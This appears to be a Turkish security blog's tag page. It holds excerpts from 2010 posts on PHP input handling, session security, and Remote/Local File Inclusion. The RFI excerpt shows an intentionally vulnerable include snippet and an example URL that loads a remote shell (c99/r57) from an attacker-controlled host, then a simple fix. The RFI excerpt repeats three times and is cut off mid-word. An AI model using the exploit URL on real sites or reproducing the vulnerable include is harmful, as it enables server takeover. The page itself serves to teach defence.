Reklam

Reklamlar

güvenlik etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
güvenlik etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

12 Haziran 2010 Cumartesi

PHP/CGI Güvenlik açıkları ve kötüye kullanımı

PHPi genelde dinamik içeriği olan http sunucularında kullanılan bir script dili. PHP`nin C ve Perl`e pek çok benzerliği var ancak biraz daha basitleştirilmiş. Web sitesi geliştirmekle alakası olmayan şeyler kaldırıldığı için bu PHP`yi çalışılması gereken güzel bir dil yapıyor.
Bu yazıda bir PHP mesajlaşma listesi yaparken rastladığım bazı güvenlik konularına değineceğim. Konuştuğum çoğu insan güvenliğin bir konu olduğunu bile düşünmemişlerdi ve script`lerini nasıl yapılandırdıklarının sitelerinin güvenliğini nasıl değiştireceğini düşünmemişlerdi bile.
Ana problem değişkenlerin web browser`dan PHP`ye nasıl geçirildiği. Değişkenler ve değerleri URL`ye ekleniyor ve aşağıdaki gibi oluyor:
http://host/dir/script.php?değişken1=değer

8 Haziran 2010 Salı

php ile oturum tanımlarken ilave güvenlik

php ile kod çalışıkren, güvenlik için sessionlara güvenmek de belli bir yere kadardır.
Session tanımlerken kendi güvenliğimizi de düşünmemiz lazım. Çünkü Apache sunucu her bir kişi için tek oturum tutar. Bunun anlamı aynı ip den giren kişi her sunucuya tek bir oturumla girer. Bu durumda oturum dizisi aşağıdaki gibi bir görünüm arzeder.

PHP’de RFI/LFI Açıkları ve Korunmak İçin Yapılması Gerekenler

*Remote File İnclude: Uzaktan Dosya Dahil Etme anlamına gelmektedir.
*Local File İnclude: ise Aynı serverdan dosya dahil etme anlamına gelmektedir…
include / include_once : Bu kodla uzaktan dosya dahil edilir.Uzun satırlar alan kodlar bu komutla başka sayfada kodlanmış olarak gösterilerek tek satıra indirgenir…

require / require_once :
Bu kod da aynı include kodunun yaptığı işi yapar,fakat include ile kodlanmış bi sayfada çağrılan(dahil edilen) dosya bulunamazsa php yorumlayıcımız bu kodun olduğu satırı hata mesajı göndererek atlar ve sayfanın diğer kalan kodlarını yorumlamaya devam eder fakat include komutundan sonra require komutu da kullanılmışsa; çağırılan dosya bulunamadığı taktirde bir hata verir ve yorumlamayı durdurur. require in include den farkı budur. Yine de RFI/LFI açığı bulurken require ile include aynı derecede işimize yarar(ilerde görücez).
variable : Değişken anlamına gelmektedir.Bizim açığımız da bu kodlamadan kaynaklanmaktadır. Yani örneğin ; include ile bi dosya, sayfaya dahil edilirken komutun içinde değişkenler de bulunur (örnek bi değişken : $external). Bu değişken aynı sayfada define edilmezse yani
*Remote File İnclude: Uzaktan Dosya Dahil Etme anlamına gelmektedir.
*Local File İnclude: ise Aynı serverdan dosya dahil etme anlamına gelmektedir…
include / include_once : Bu kodla uzaktan dosya dahil edilir.Uzun satırlar alan kodlar bu komutla başka sayfada kodlanmış olarak gösterilerek tek satıra indirgenir…

require / require_once :
Bu kod da aynı include kodunun yaptığı işi yapar,fakat include ile kodlanmış bi sayfada çağrılan(dahil edilen) dosya bulunamazsa php yorumlayıcımız bu kodun olduğu satırı hata mesajı göndererek atlar ve sayfanın diğer kalan kodlarını yorumlamaya devam eder fakat include komutundan sonra require komutu da kullanılmışsa; çağırılan dosya bulunamadığı taktirde bir hata verir ve yorumlamayı durdurur. require in include den farkı budur. Yine de RFI/LFI açığı bulurken require ile include aynı derecede işimize yarar(ilerde görücez).
variable : Değişken anlamına gelmektedir.Bizim açığımız da bu kodlamadan kaynaklanmaktadır. Yani örneğin ; include ile bi dosya, sayfaya dahil edilirken komutun içinde değişkenler de bulunur (örnek bi değişken : $external). Bu değişken aynı sayfada define edilmezse yani tanımlanmazsa burda bu açık kullanılabilir…
Remote File İnclude (RFI)
Uzaktan dosya dahil etme anlama gelen RFI da tanımlanmamış değişkenler tanımlanır ve açık varsa istenilen değere atanır… örneğin ; shell(c99,r57 vs… ).

include ($external. ’../function.php’) ;
?>
Bu Kodu,
Vermiş olduğum bu kodu x.php olarak kaydedip php destekleyen bi hosta atın ve çalıştırın.Bu sayfayı çalıştıdığınızda bi hata alıcaksınız.Bu hata dahil ettiğimiz function.php dosyasının bulunamamasından kaynaklanmaktadır,bu bizi ilgilendirmiyor.
www.site.com/x.php?external=http://www.sitemiz.com/shell.php?
Açık yukarıdaki gibi kullanılabilir.Engellemek için :

$external= ’data’;
include ($external. ’../function.php’);
?>
Vermiş olduğum bu kodu da x2.php olarak kaydedip hostunuza atın ve yine bu sayfayı açtığınız zaman tekrar function.php dosyasının b
*Remote File İnclude: Uzaktan Dosya Dahil Etme anlamına gelmektedir.
*Local File İnclude: ise Aynı serverdan dosya dahil etme anlamına gelmektedir…
include / include_once : Bu kodla uzaktan dosya dahil edilir.Uzun satırlar alan kodlar bu komutla başka sayfada kodlanmış olarak gösterilerek tek satıra indirgenir…

require / require_once :
Bu kod da aynı include kodunun yaptığı işi yapar,fakat include ile kodlanmış bi sayfada çağrılan(dahil edilen) dosya bulunamazsa php yorumlayıcımız bu kodun olduğu satırı hata mesajı göndererek atlar ve sayfanın diğer kalan kodlarını yorumlamaya devam eder fakat include komutundan sonra require komutu da kullanılmışsa; çağırılan dosya bulunamadığı taktirde bir hata verir ve yorumlamayı durdurur. require in include den farkı budur. Yine de RFI/LFI açığı bulurken require ile include aynı derecede işimize yarar(ilerde görücez).
ebook library